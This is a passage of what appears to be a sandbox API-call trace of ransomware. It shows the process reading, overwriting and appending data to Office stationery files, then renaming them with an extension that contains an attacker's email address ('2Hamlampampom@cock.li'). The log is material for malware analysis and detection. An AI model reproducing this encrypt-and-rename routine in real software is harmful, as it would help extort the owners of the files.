[0062.579] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12bd98a0) returned 1 [0063.001] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12bcd098) returned 1 [0063.006] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a2b8) returned 1 [0063.007] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c3f0) returned 1 [0063.007] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97cef00 [0063.007] SetFilePointerEx (in: hFile=0xfc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.007] WriteFile (in: hFile=0xfc4, lpBuffer=0x12d7d8b8*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x13c5f9e4, lpOverlapped=0x0 | out: lpBuffer=0x12d7d8b8*, lpNumberOfBytesWritten=0x13c5f9e4*=0x109, lpOverlapped=0x0) returned 1 [0063.013] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7d8b8) returned 1 [0063.013] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cef30) returned 1 [0063.013] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec92f0) returned 1 [0063.013] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cef00) returned 1 [0063.013] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428988) returned 1 [0063.014] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d051b0) returned 1 [0063.014] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d052c8) returned 1 [0063.014] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d052f0) returned 1 [0063.014] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc6) returned 0x5e00060 [0063.014] wcscpy (in: _Dest=0x5e00060, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.GIF") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.GIF" [0063.014] wcscat (in: _Dest=0x5e00060, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.GIF.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.GIF.mailto[2Hamlampampom@cock.li].cd46d" [0063.014] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x13c5f99c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.014] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xdc) returned 0x12cf97c8 [0063.017] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cf97c8) returned 1 [0063.017] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48eaa8) returned 1 [0063.017] NtQueryInformationFile (in: FileHandle=0xfc4, IoStatusBlock=0x13c5f9a8, FileInformation=0x13c5f980, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x13c5f9a8, FileInformation=0x13c5f980) returned 0x0 [0063.017] NtSetInformationFile (FileHandle=0xfc4, IoStatusBlock=0x13c5f9a8, FileInformation=0x13c5f980, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.020] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00060) returned 1 [0063.020] FlushFileBuffers (hFile=0xfc4) returned 1 [0066.199] CloseHandle (hObject=0xfc4) Thread: id = 795 os_tid = 0x1048 [0051.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\pawprint.htm")) returned 0x20 [0051.902] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.HTM", dwFileAttributes=0x20) returned 1 [0060.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\pawprint.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfc8 [0060.093] GetFileSizeEx (in: hFile=0xfc8, lpFileSize=0x13e8f7b0 | out: lpFileSize=0x13e8f7b0*=476) returned 1 [0060.093] SetFilePointerEx (in: hFile=0xfc8, liDistanceToMove=0x1d8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.093] ReadFile (in: hFile=0xfc8, lpBuffer=0x13e8f734, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x13e8f730, lpOverlapped=0x0 | out: lpBuffer=0x13e8f734*, lpNumberOfBytesRead=0x13e8f730*=0x4, lpOverlapped=0x0) returned 1 [0060.094] SetFilePointerEx (in: hFile=0xfc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.094] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05020 [0060.094] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d052a0 [0060.094] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05318 [0060.094] NtQuerySystemTime (in: CurrentTime=0x13e8f710 | out: CurrentTime=0x13e8f710*=132174898240680000) returned 0x0 [0060.094] RtlRandomEx (in: Seed=0x13e8f71c | out: Seed=0x13e8f71c) returned 0x6a3bae [0060.094] RtlRandomEx (in: Seed=0x13e8f71c | out: Seed=0x13e8f71c) returned 0xa97a36a [0060.094] RtlRandomEx (in: Seed=0x13e8f71c | out: Seed=0x13e8f71c) returned 0x6738c35 [0060.094] RtlRandomEx (in: Seed=0x13e8f71c | out: Seed=0x13e8f71c) returned 0x2793efca [0060.094] RtlRandomEx (in: Seed=0x13e8f71c | out: Seed=0x13e8f71c) returned 0x57bf93bd [0060.094] RtlRandomEx (in: Seed=0x13e8f71c | out: Seed=0x13e8f71c) returned 0x5398a3ce [0060.094] RtlRandomEx (in: Seed=0x13e8f71c | out: Seed=0x13e8f71c) returned 0x5b906b30 [0060.094] RtlRandomEx (in: Seed=0x13e8f71c | out: Seed=0x13e8f71c) returned 0x6ac5b976 [0060.094] RtlRandomEx (in: Seed=0x13e8f71c | out: Seed=0x13e8f71c) returned 0x2732743d [0060.094] RtlRandomEx (in: Seed=0x13e8f71c | out: Seed=0x13e8f71c) returned 0x6b706720 [0060.094] RtlRandomEx (in: Seed=0x13e8f71c | out: Seed=0x13e8f71c) returned 0x173b8008 [0060.094] RtlRandomEx (in: Seed=0x13e8f71c | out: Seed=0x13e8f71c) returned 0x239d7673 [0060.094] RtlRandomEx (in: Seed=0x13e8f71c | out: Seed=0x13e8f71c) returned 0x17ccda71 [0060.094] RtlRandomEx (in: Seed=0x13e8f71c | out: Seed=0x13e8f71c) returned 0x1ddbfed0 [0060.094] RtlRandomEx (in: Seed=0x13e8f71c | out: Seed=0x13e8f71c) returned 0x1402d768 [0060.094] RtlRandomEx (in: Seed=0x13e8f71c | out: Seed=0x13e8f71c) returned 0x7ad02015 [0060.095] RtlRandomEx (in: Seed=0x13e8f71c | out: Seed=0x13e8f71c) returned 0x461d327b [0060.095] RtlRandomEx (in: Seed=0x13e8f71c | out: Seed=0x13e8f71c) returned 0x4e4f2095 [0060.095] RtlRandomEx (in: Seed=0x13e8f71c | out: Seed=0x13e8f71c) returned 0x262dba00 [0060.095] RtlRandomEx (in: Seed=0x13e8f71c | out: Seed=0x13e8f71c) returned 0x4a500725 [0060.095] RtlRandomEx (in: Seed=0x13e8f71c | out: Seed=0x13e8f71c) returned 0x7fe8a59c [0060.095] RtlRandomEx (in: Seed=0x13e8f71c | out: Seed=0x13e8f71c) returned 0x173b8008 [0060.095] RtlRandomEx (in: Seed=0x13e8f71c | out: Seed=0x13e8f71c) returned 0x7887cd87 [0060.095] RtlRandomEx (in: Seed=0x13e8f71c | out: Seed=0x13e8f71c) returned 0x3799238a [0060.095] RtlRandomEx (in: Seed=0x13e8f71c | out: Seed=0x13e8f71c) returned 0x299f67d1 [0060.095] RtlRandomEx (in: Seed=0x13e8f71c | out: Seed=0x13e8f71c) returned 0xe77000e [0060.095] RtlRandomEx (in: Seed=0x13e8f71c | out: Seed=0x13e8f71c) returned 0x986916 [0060.095] RtlRandomEx (in: Seed=0x13e8f71c | out: Seed=0x13e8f71c) returned 0x41bf4ea1 [0060.095] RtlRandomEx (in: Seed=0x13e8f71c | out: Seed=0x13e8f71c) returned 0x29b5f9b0 [0060.095] RtlRandomEx (in: Seed=0x13e8f71c | out: Seed=0x13e8f71c) returned 0x38a9c899 [0060.095] RtlRandomEx (in: Seed=0x13e8f71c | out: Seed=0x13e8f71c) returned 0x39767785 [0060.095] RtlRandomEx (in: Seed=0x13e8f71c | out: Seed=0x13e8f71c) returned 0x480760f1 [0060.108] ReadFile (in: hFile=0xfc8, lpBuffer=0x12be60a8, nNumberOfBytesToRead=0x1dc, lpNumberOfBytesRead=0x13e8f70c, lpOverlapped=0x0 | out: lpBuffer=0x12be60a8*, lpNumberOfBytesRead=0x13e8f70c*=0x1dc, lpOverlapped=0x0) returned 1 [0060.108] SetFilePointerEx (in: hFile=0xfc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.108] WriteFile (in: hFile=0xfc8, lpBuffer=0x12bf28b0*, nNumberOfBytesToWrite=0x1dc, lpNumberOfBytesWritten=0x13e8f708, lpOverlapped=0x0 | out: lpBuffer=0x12bf28b0*, lpNumberOfBytesWritten=0x13e8f708*=0x1dc, lpOverlapped=0x0) returned 1 [0062.580] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428b68 [0062.580] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428b90 [0062.580] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428b90) returned 1 [0062.580] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12bf28b0) returned 1 [0063.009] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12be60a8) returned 1 [0063.009] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43af60) returned 1 [0063.009] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c3a8) returned 1 [0063.009] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97ce8a0 [0063.009] SetFilePointerEx (in: hFile=0xfc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.009] WriteFile (in: hFile=0xfc8, lpBuffer=0x12d7d7a0*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x13e8f770, lpOverlapped=0x0 | out: lpBuffer=0x12d7d7a0*, lpNumberOfBytesWritten=0x13e8f770*=0x109, lpOverlapped=0x0) returned 1 [0063.094] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7d7a0) returned 1 [0063.094] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cee40) returned 1 [0063.094] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9318) returned 1 [0063.095] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce8a0) returned 1 [0063.095] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428b68) returned 1 [0063.095] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d052a0) returned 1 [0063.095] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05340) returned 1 [0063.095] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05368) returned 1 [0063.095] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc6) returned 0x5e002d0 [0063.095] wcscpy (in: _Dest=0x5e002d0, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.HTM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.HTM") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.HTM" [0063.095] wcscat (in: _Dest=0x5e002d0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.HTM.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.HTM.mailto[2Hamlampampom@cock.li].cd46d" [0063.095] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.HTM.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x13e8f728, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.HTM.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.095] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xdc) returned 0x12cf9428 [0063.096] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cf9428) returned 1 [0063.096] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1d6e8) returned 1 [0063.096] NtQueryInformationFile (in: FileHandle=0xfc8, IoStatusBlock=0x13e8f734, FileInformation=0x13e8f70c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x13e8f734, FileInformation=0x13e8f70c) returned 0x0 [0063.096] NtSetInformationFile (FileHandle=0xfc8, IoStatusBlock=0x13e8f734, FileInformation=0x13e8f70c, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.097] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e002d0) returned 1 [0063.097] FlushFileBuffers (hFile=0xfc8) returned 1 [0066.211] CloseHandle (hObject=0xfc8) Thread: id = 796 os_tid = 0x104c [0051.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\pinelumb.htm")) returned 0x20 [0051.902] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.HTM", dwFileAttributes=0x20) returned 1 [0060.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\pinelumb.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfcc [0060.109] GetFileSizeEx (in: hFile=0xfcc, lpFileSize=0x39f988 | out: lpFileSize=0x39f988*=489) returned 1 [0060.109] SetFilePointerEx (in: hFile=0xfcc, liDistanceToMove=0x1e5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.109] ReadFile (in: hFile=0xfcc, lpBuffer=0x39f90c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x39f908, lpOverlapped=0x0 | out: lpBuffer=0x39f90c*, lpNumberOfBytesRead=0x39f908*=0x4, lpOverlapped=0x0) returned 1 [0060.110] SetFilePointerEx (in: hFile=0xfcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.110] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05020 [0060.110] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05318 [0060.110] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05390 [0060.110] NtQuerySystemTime (in: CurrentTime=0x39f8e8 | out: CurrentTime=0x39f8e8*=132174898240836000) returned 0x0 [0060.110] RtlRandomEx (in: Seed=0x39f8f4 | out: Seed=0x39f8f4) returned 0x4e3151c3 [0060.110] RtlRandomEx (in: Seed=0x39f8f4 | out: Seed=0x39f8f4) returned 0x675253ec [0060.110] RtlRandomEx (in: Seed=0x39f8f4 | out: Seed=0x39f8f4) returned 0x2c2e094e [0060.110] RtlRandomEx (in: Seed=0x39f8f4 | out: Seed=0x39f8f4) returned 0x79067688 [0060.110] RtlRandomEx (in: Seed=0x39f8f4 | out: Seed=0x39f8f4) returned 0x1cf7ccf3 [0060.110] RtlRandomEx (in: Seed=0x39f8f4 | out: Seed=0x39f8f4) returned 0x6f894761 [0060.110] RtlRandomEx (in: Seed=0x39f8f4 | out: Seed=0x39f8f4) returned 0x6a43cb23 [0060.110] RtlRandomEx (in: Seed=0x39f8f4 | out: Seed=0x39f8f4) returned 0x59408791 [0060.110] RtlRandomEx (in: Seed=0x39f8f4 | out: Seed=0x39f8f4) returned 0x7ae4f8ab [0060.110] RtlRandomEx (in: Seed=0x39f8f4 | out: Seed=0x39f8f4) returned 0x3799238a [0060.110] RtlRandomEx (in: Seed=0x39f8f4 | out: Seed=0x39f8f4) returned 0x280373db [0060.110] RtlRandomEx (in: Seed=0x39f8f4 | out: Seed=0x39f8f4) returned 0x75cac8e6 [0060.110] RtlRandomEx (in: Seed=0x39f8f4 | out: Seed=0x39f8f4) returned 0x6640cb53 [0060.110] RtlRandomEx (in: Seed=0x39f8f4 | out: Seed=0x39f8f4) returned 0x4848a595 [0060.111] RtlRandomEx (in: Seed=0x39f8f4 | out: Seed=0x39f8f4) returned 0x7d8baa22 [0060.111] RtlRandomEx (in: Seed=0x39f8f4 | out: Seed=0x39f8f4) returned 0x3e7ac8eb [0060.111] RtlRandomEx (in: Seed=0x39f8f4 | out: Seed=0x39f8f4) returned 0x2a51d5d [0060.111] RtlRandomEx (in: Seed=0x39f8f4 | out: Seed=0x39f8f4) returned 0x3c9bfe3b [0060.111] RtlRandomEx (in: Seed=0x39f8f4 | out: Seed=0x39f8f4) returned 0x488a9f5b [0060.111] RtlRandomEx (in: Seed=0x39f8f4 | out: Seed=0x39f8f4) returned 0xf5fc972 [0060.111] RtlRandomEx (in: Seed=0x39f8f4 | out: Seed=0x39f8f4) returned 0x79067688 [0060.111] RtlRandomEx (in: Seed=0x39f8f4 | out: Seed=0x39f8f4) returned 0x17e738f2 [0060.111] RtlRandomEx (in: Seed=0x39f8f4 | out: Seed=0x39f8f4) returned 0x7a18b6cb [0060.111] RtlRandomEx (in: Seed=0x39f8f4 | out: Seed=0x39f8f4) returned 0x21f594a1 [0060.111] RtlRandomEx (in: Seed=0x39f8f4 | out: Seed=0x39f8f4) returned 0x5d5f5415 [0060.111] RtlRandomEx (in: Seed=0x39f8f4 | out: Seed=0x39f8f4) returned 0x11fb0f3e [0060.111] RtlRandomEx (in: Seed=0x39f8f4 | out: Seed=0x39f8f4) returned 0x39582985 [0060.111] RtlRandomEx (in: Seed=0x39f8f4 | out: Seed=0x39f8f4) returned 0x7ba1fec5 [0060.111] RtlRandomEx (in: Seed=0x39f8f4 | out: Seed=0x39f8f4) returned 0x1cbb8c6d [0060.111] RtlRandomEx (in: Seed=0x39f8f4 | out: Seed=0x39f8f4) returned 0x2647db82 [0060.111] RtlRandomEx (in: Seed=0x39f8f4 | out: Seed=0x39f8f4) returned 0x4db1fd34 [0060.111] RtlRandomEx (in: Seed=0x39f8f4 | out: Seed=0x39f8f4) returned 0xd7ac3c5 [0060.124] ReadFile (in: hFile=0xfcc, lpBuffer=0x12bff0b8, nNumberOfBytesToRead=0x1e9, lpNumberOfBytesRead=0x39f8e4, lpOverlapped=0x0 | out: lpBuffer=0x12bff0b8*, lpNumberOfBytesRead=0x39f8e4*=0x1e9, lpOverlapped=0x0) returned 1 [0060.124] SetFilePointerEx (in: hFile=0xfcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.124] WriteFile (in: hFile=0xfcc, lpBuffer=0x12c0b8c0*, nNumberOfBytesToWrite=0x1e9, lpNumberOfBytesWritten=0x39f8e0, lpOverlapped=0x0 | out: lpBuffer=0x12c0b8c0*, lpNumberOfBytesWritten=0x39f8e0*=0x1e9, lpOverlapped=0x0) returned 1 [0062.582] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428b90 [0062.582] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428ac8 [0062.582] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428ac8) returned 1 [0062.582] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12c0b8c0) returned 1 [0063.070] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12bff0b8) returned 1 [0063.070] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43aee8) returned 1 [0063.070] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c360) returned 1 [0063.070] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97cf020 [0063.070] SetFilePointerEx (in: hFile=0xfcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.070] WriteFile (in: hFile=0xfcc, lpBuffer=0x12d7c2d8*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x39f948, lpOverlapped=0x0 | out: lpBuffer=0x12d7c2d8*, lpNumberOfBytesWritten=0x39f948*=0x109, lpOverlapped=0x0) returned 1 [0063.132] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c2d8) returned 1 [0063.132] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf050) returned 1 [0063.132] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05278) returned 1 [0063.132] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf020) returned 1 [0063.132] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428b90) returned 1 [0063.132] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05318) returned 1 [0063.132] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d053b8) returned 1 [0063.132] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d053e0) returned 1 [0063.132] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc6) returned 0x5e00610 [0063.132] wcscpy (in: _Dest=0x5e00610, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.HTM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.HTM") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.HTM" [0063.132] wcscat (in: _Dest=0x5e00610, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.HTM.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.HTM.mailto[2Hamlampampom@cock.li].cd46d" [0063.132] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.HTM.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x39f900, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.HTM.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.132] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xdc) returned 0x12cf98b0 [0063.148] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cf98b0) returned 1 [0063.148] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1d4c0) returned 1 [0063.148] NtQueryInformationFile (in: FileHandle=0xfcc, IoStatusBlock=0x39f90c, FileInformation=0x39f8e4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x39f90c, FileInformation=0x39f8e4) returned 0x0 [0063.148] NtSetInformationFile (FileHandle=0xfcc, IoStatusBlock=0x39f90c, FileInformation=0x39f8e4, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.149] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00610) returned 1 [0063.149] FlushFileBuffers (hFile=0xfcc) returned 1 [0066.212] CloseHandle (hObject=0xfcc) Thread: id = 797 os_tid = 0x1050 [0051.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.JPG" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\pinelumb.jpg")) returned 0x20 [0051.903] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.JPG", dwFileAttributes=0x20) returned 1 [0060.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.JPG" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\pinelumb.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfd0 [0060.125] GetFileSizeEx (in: hFile=0xfd0, lpFileSize=0x13bdfba8 | out: lpFileSize=0x13bdfba8*=3981) returned 1 [0060.125] SetFilePointerEx (in: hFile=0xfd0, liDistanceToMove=0xf89, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.125] ReadFile (in: hFile=0xfd0, lpBuffer=0x13bdfb2c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x13bdfb28, lpOverlapped=0x0 | out: lpBuffer=0x13bdfb2c*, lpNumberOfBytesRead=0x13bdfb28*=0x4, lpOverlapped=0x0) returned 1 [0060.127] SetFilePointerEx (in: hFile=0xfd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.127] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05020 [0060.127] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05390 [0060.127] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05408 [0060.127] NtQuerySystemTime (in: CurrentTime=0x13bdfb08 | out: CurrentTime=0x13bdfb08*=132174898241148000) returned 0x0 [0060.127] RtlRandomEx (in: Seed=0x13bdfb14 | out: Seed=0x13bdfb14) returned 0x4e9c15d8 [0060.127] RtlRandomEx (in: Seed=0x13bdfb14 | out: Seed=0x13bdfb14) returned 0x75ab9861 [0060.127] RtlRandomEx (in: Seed=0x13bdfb14 | out: Seed=0x13bdfb14) returned 0x7d8baa22 [0060.127] RtlRandomEx (in: Seed=0x13bdfb14 | out: Seed=0x13bdfb14) returned 0x54879c6d [0060.127] RtlRandomEx (in: Seed=0x13bdfb14 | out: Seed=0x13bdfb14) returned 0x5ea26b4c [0060.127] RtlRandomEx (in: Seed=0x13bdfb14 | out: Seed=0x13bdfb14) returned 0x76aa798c [0060.127] RtlRandomEx (in: Seed=0x13bdfb14 | out: Seed=0x13bdfb14) returned 0x12cab30c [0060.127] RtlRandomEx (in: Seed=0x13bdfb14 | out: Seed=0x13bdfb14) returned 0x4f71b3df [0060.127] RtlRandomEx (in: Seed=0x13bdfb14 | out: Seed=0x13bdfb14) returned 0x2f1ad551 [0060.127] RtlRandomEx (in: Seed=0x13bdfb14 | out: Seed=0x13bdfb14) returned 0x196bac0 [0060.127] RtlRandomEx (in: Seed=0x13bdfb14 | out: Seed=0x13bdfb14) returned 0x7ba1fec5 [0060.127] RtlRandomEx (in: Seed=0x13bdfb14 | out: Seed=0x13bdfb14) returned 0x54879c6d [0060.127] RtlRandomEx (in: Seed=0x13bdfb14 | 